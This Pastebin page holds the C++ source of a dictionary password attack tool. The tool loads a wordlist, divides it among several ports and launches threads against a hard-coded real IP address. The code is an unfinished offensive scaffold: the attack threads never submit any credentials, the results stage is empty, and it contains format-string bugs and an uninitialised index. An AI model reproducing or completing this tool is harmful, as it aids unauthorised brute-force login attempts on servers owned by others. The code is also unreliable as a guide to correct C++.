Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "DictAttack.h"
- #include "Socket.h"
- #include <pthread.h>
- using namespace std;
- #define DEFAULT_SERVER "66.230.225.210"
- void *AttackThread(void *arg) {
- // Reclassify it as a thread package.
- thrPackage * pkgInfo = (thrPackage *)(arg);
- // Temporary variables.
- int iPasswordIndex = 0;
- int iRetries = 0;
- // Grab the port just to make things easier.
- int iPort = pkgInfo->Port;
- char UserName[16];
- char rcvBuf[4096];
- char tempBuf[4096];
- sprintf(UserName, pkgInfo->User);
- // Create Socket
- Socket * sckAttack = new
- Socket(DEFAULT_SERVER, iPort);
- // Begin working with socket.
- while ( (!sckAttack->Connect()) && (iRetries < 3) )
- {
- iRetries++;
- printf("Failed to connect to %s:%p\nRetrying(%d)..\n",
- DEFAULT_SERVER,
- iPort,
- iRetries);
- }
- // Check to make sure we're connected.
- if ( !sckAttack->isConnected() )
- {
- printf("Failed all retries. Halting attack on %s:%d\n",
- DEFAULT_SERVER,
- iPort);
- return NULL;
- }
- // Begin receiving.
- while (sckAttack->Recv(rcvBuf, 4096))
- {
- // Work with temporary buffer.
- printf("%s", rcvBuf);
- if ( strlen(rcvBuf) >= 4095)
- sprintf(rcvBuf, "");
- }
- // Delete and finish up.
- delete sckAttack;
- return NULL;
- }
- int LineCount(char sDictFile[])
- {
- // Temp variables.
- int r = 0;
- char strTemp[512];
- // Open file.
- ifstream pFile;
- pFile.open(sDictFile, ios::in);
- // Count lines.
- while (!pFile.eof()) {
- r++;
- pFile.getline(strTemp, 512);
- }
- // And close it.
- pFile.close();
- // Done!
- return r;
- }
- int DictAttack(char sUser[], char sDictFile[], int * iPort, int mPort, char * sPassword)
- {
- // Temporary variables.
- int r = 0;
- int iPassCount = 0;
- int iSplitCount = 0;
- int iLastPort = 0;
- int iTempA = 0;
- int iTempB = 0;
- int iTempC = 0;
- char strTemp[512];
- arrString * sPassList = NULL;
- // Get line count.
- iPassCount = LineCount(sDictFile);
- printf("%d passwords to try in %s..\n", iPassCount, sDictFile);
- // And now we can create the pass array.
- sPassList = new arrString [iPassCount];
- iPassCount = 0; // Meh, reset it for another count.
- /* Reading in the dictionary file. */
- // Open file.
- ifstream pFile;
- pFile.open(sDictFile, ios::in);
- // Grab first line.
- pFile.getline(strTemp, 512);
- // Count lines.
- while (!pFile.eof()) {
- sprintf(sPassList[iPassCount].value, "%s", strTemp);
- iPassCount++;
- pFile.getline(strTemp, 512);
- }
- // Get the last line.
- sprintf(sPassList[iPassCount].value, "%s", strTemp);
- // Increment once more.
- iPassCount++;
- // And close it.
- pFile.close();
- /* Done reading. */
- /* Okay, so we have the dictionary file read in.
- Let's print some data, then start the socket(s). */
- // Data output.
- printf("%d port%s targeted.\n", mPort, ( (mPort > 1) ? "s" : ""));
- // Figure out list per port.
- iSplitCount = (iPassCount / mPort);
- // Passwords count to use on the last port.
- iLastPort = iSplitCount - ( (mPort * iSplitCount) - iPassCount);
- printf("%d(approximately) passwords per port.\n", iSplitCount);
- printf("%d * %d = %d so the last port will use %d passwords.\n\n", iSplitCount, mPort, (mPort * iSplitCount), iLastPort);
- // Thread variables
- pthread_t * thrDictAttacks = NULL;
- thrPackage * pkgWorker = NULL;
- /* * * * * < SINGLE PORT ATTACK > * * * * */
- if (mPort == 1)
- {
- // Create thread and package.
- thrDictAttacks = new pthread_t;
- pkgWorker = new thrPackage;
- // Set variables.
- sprintf(pkgWorker->User, sUser);
- pkgWorker->Port = *iPort;
- pkgWorker->PassCount = iSplitCount;
- pkgWorker->PassList = sPassList;
- // Create thread.
- if ( pthread_create( thrDictAttacks, NULL, AttackThread, (void *)(pkgWorker)) )
- abort();
- // Wait till done.
- if ( pthread_join ( *thrDictAttacks, NULL ) )
- abort();
- /* * * * * < /SINGLE PORT ATTACK > * * * * */
- }
- else
- {
- /* * * * * < MULTIPLE PORT ATTACK > * * * * */
- // Begin.
- printf("Splitting up password list..\n");
- // Create threads and packages.
- thrDictAttacks = new pthread_t [mPort];
- pkgWorker = new thrPackage [mPort];
- /* Stage 1; Split up packets.
- iTempA will hold the count necessary for current package.
- iTempB will hold where we're at in the big list.
- iTempC will hold our current count. */
- for (int i=0; i < mPort; i++)
- {
- // Make sure we know the pass list size.
- if (i == (mPort - 1))
- iTempA = iLastPort;
- else iTempA = iSplitCount;
- // Set the basics.
- sprintf(pkgWorker[i].User, sUser);
- pkgWorker[i].PassCount = iTempA;
- pkgWorker[i].Port = iPort[i];
- // Reserve memory.
- if (i == (mPort - 1))
- pkgWorker[i].PassList = new arrString [iLastPort];
- else
- pkgWorker[i].PassList = new arrString [iSplitCount];
- // Make sure iTempC is clean.
- iTempC = 0;
- // Begin loop.
- while (iTempC < iTempA)
- {
- sprintf(pkgWorker[i].PassList[iTempC].value, sPassList[iTempB].value);
- iTempC++;
- iTempB++;
- }
- }
- printf("Finished splitting list.\n");
- // Clear old variables.
- printf("Erasing old list..\n\n");
- delete [] sPassList;
- iTempA = 0;
- iTempB = 0;
- iTempC = 0;
- /* </Stage 1> */
- /* Stage 2; Launch the threads. */
- for (int i=0; i < mPort; i++)
- {
- if ( pthread_create( &(thrDictAttacks[i]),
- NULL,
- AttackThread,
- (void *)(&(pkgWorker[i]))) ) {
- printf("Failed to create thread.\n");
- abort();
- }
- printf("Attacking port %d..\n", iPort[i]);
- }
- /* </Stage 2> */
- /* Stage 3; Wait for them to finish. */
- for (int i=0; i < mPort; i++)
- {
- if ( pthread_join ( thrDictAttacks[i], NULL ) ) {
- printf("Failed to join thread.\n");
- abort();
- }
- printf("Done with port %d..\n", iPort[i]);
- }
- /* </Stage 3> */
- /* Final Stage: Check results. */
- /* </Stage 4> */
- /* * * * * < /MULTIPLE PORT ATTACK > * * * * */
- }
- return r;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement